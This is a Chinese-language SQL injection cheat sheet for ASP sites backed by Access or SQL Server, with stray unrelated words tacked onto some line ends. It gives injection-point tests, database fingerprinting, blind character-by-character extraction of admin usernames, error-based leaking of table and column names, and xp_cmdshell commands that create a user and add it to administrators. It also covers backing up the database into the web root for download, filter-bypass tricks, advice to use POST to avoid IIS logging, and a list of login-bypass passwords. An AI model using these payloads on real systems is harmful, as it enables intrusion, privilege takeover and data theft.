經過鏈接數據庫的引擎判斷數據庫類型:程序員
Access:Microsoft JET Database Enginesql
SQLServer:Microsoft OLE DB Provider for SQL Servershell
一點思路:數據庫
每一個動態頁面每一個參數都測一測服務器
相同動態頁面相同參數不一樣值時可能不一樣(不知道什麼狀況,但確實發生了,有待驗證。。)cookie
後臺登錄時截斷查看錶單,試試可否繞過網絡
GET、POST沒頭緒時試試cookie,測試每一個cookie的參數。用sqlmap cookie注入時,試試不帶相對URI(裸域名)ide
注意截包,分析包裏的注入語句的變化函數
可能存在編碼問題,若是頁面編碼爲GBK,能夠試試補全,加個%ce測試
判斷注入點時單撇不行試試雙撇
若是程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器一樣會報錯。
有些程序員只過濾了單引號,因此只用單引號測試,是測不到注入點的,能夠用下列語句測試:
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
ASP通常搭配Access和SQLSever。
SQLServer有一些系統變量,若是服務器IIS提示沒關閉,而且SQLServer返回錯誤提示的話,那能夠直接從出錯信息獲取,方法以下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
user是SQLServer的一個內置變量,它的值時當前鏈接的用戶名,類型爲nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,固然,轉的過程當中確定會出錯。
若是是普通用戶,SQLServer的出錯提示是:將nvarchar值「bt」轉換數據類型爲int的列時發生語法錯誤;若是是sa用戶,提示是:將「dbo」轉換成int的列發生錯誤。
在服務器IIS不容許返回錯誤提示時判斷數據庫類型:
Access和SQLServer都有本身的系統表,好比存放數據庫中全部對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示」「沒有權限「,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。
在確承認以注入的狀況下,使用下面的語句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
若是數據庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id=49是大體相同的;而第二個網址,因爲找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面徹底不一樣。
若是數據庫是Access,那麼狀況就有所不一樣,第一個網址的頁面與原頁面徹底不一樣,第二個網址則視乎數據庫設置是否容許讀改系統表,通常來講是不容許的,因此與原網址也是徹底不一樣。
大多數狀況下,用第一個URL就能夠得知系統所用的數據庫類型(第一個返回跟原頁差很少則是SQLServer,反之則Access),第二個URL只做爲開啓IIS錯誤提示時的驗證。
根據注入參數類型,重構SQL語句的原貌,按參數類型主要分爲下面三種:
ID=49,這類注入的參數是數字型,SQL語句原貌大體以下:
select * from 表名 where 字段=49
注入的參數爲ID=49 and [查詢條件],即生成語句:
select * from 表名 where 字段=49 and [查詢語句]
class=連續劇,這類注入的參數是字符型:
select * from 表名 where 字段='連續劇'
注入的參數爲Class=連續劇’ and [查詢條件] and ‘‘=’,即生成語句:
select * from 表名where 字段=’連續劇’ and [查詢條件] and ‘‘=’’
搜索時沒顧慮參數的,如keyword=關鍵字:
select * from 表名 where 字段 like '%關鍵字%'
注入的參數爲keyword=' and [查詢條件] and '%25'=',即生成語句:
select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%'
手工猜表名、字段名、字段值:
接着將查詢條件替換成SQL語句,猜解表名,如:
ID=49 and (select Count(*) from Admin)>=0
若是頁面就與ID=49的相同,說明條件成立,即表Admin存在,反之不存在。
猜出表名再猜解字段名,如:
ID=49 and (select Count(字段名) from Admin)>=0 或 and (select count(*) from admin where len(字段名)>0)>0
猜出字段名再猜解字段值,一種最經常使用的方法—Ascii逐字解碼法,雖然很慢,可是確定可行:
假設:已知Admin中存在username字段
首先,取第一條記錄,測試username的長度:
ID=49 ;and (select top 1 len(username) from Admin)>0 或 and (select count(*) from admin where len(username)>0)>0
若是長度大於0,則條件成立。更換最後的數直到猜出第一條記錄的username字段值的長度
獲得字段值的長度後,逐位猜解字段值:
ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
第一位字符的ASCII碼是否大於0,範圍在1-128之間。
SQL注入經常使用函數:
Access:asc(字符) SQLServer:unicode(字符) 做用:返回某字符的ASCII碼
Access:chr(數字) SQLServer:nchar(數字) 做用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L) 做用:返回字符串從N個字符起長度爲L的自字符串,即N到N+L之間的字符串
Access:abc(數字) SQLServer:abc(數字) 做用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A between B and C SQLServer:A between B and C 做用:判斷A是否界於B與C之間
中文處理方法:
Access:中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字符不變。
SQLServer:中文的ASCII爲正數,但因爲是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode()返回unicode值,再用nchar函數取得對應的中文字符。
利用系統表注入SQLServer數據庫:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--
http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--
這種方法只適用於用sa鏈接數據庫的狀況,不然,是沒有權限調用xp_cmdshell的。
http://Site/url.asp?id=1; and db_name()>0 返回鏈接的數據庫名
http://Site/url.asp?id=1; backup database 數據庫名 to disk='c:inetpubwwwroot1.db';--
拿到數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來。在不知道絕對路徑的時候,還能夠備份到網絡地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。
http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來,第2、三...個表名也能夠經過這種方法暴出來。
http://Site/url.asp?id=1; and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0
拿到表名後,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名。
繞過程序限制繼續注入:
利用相關函數,達到繞過程序限制的目的。
過濾'(單引號):
如where xtype='U',字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;若是字符是中文的,好比where name='用戶',能夠用where name=nchar(29992)+nchar(25143)代替。
經驗小結:
1.過濾沒區分大小寫:用混大小寫測試,如 seLecT
2.由網站上的登陸表單猜想字段名,通常爲了方便起見,字段名都與表單的輸入框取相同的名字。
3.地址欄的+號傳入程序後解釋爲空格,%2B解釋爲+號,%25解釋爲%號
4.用Get方法注入時,IIS會記錄全部提交的字符串,對Post方法作則不記錄,因此能用Post的網址儘可能不用Get。
5.猜解Access時只能用ASCII逐字解碼法,SQLServer也能夠用這種方法,只須要注意二者之間的區別便可,可是若是能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提升。
萬能密碼-繞過驗證:
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00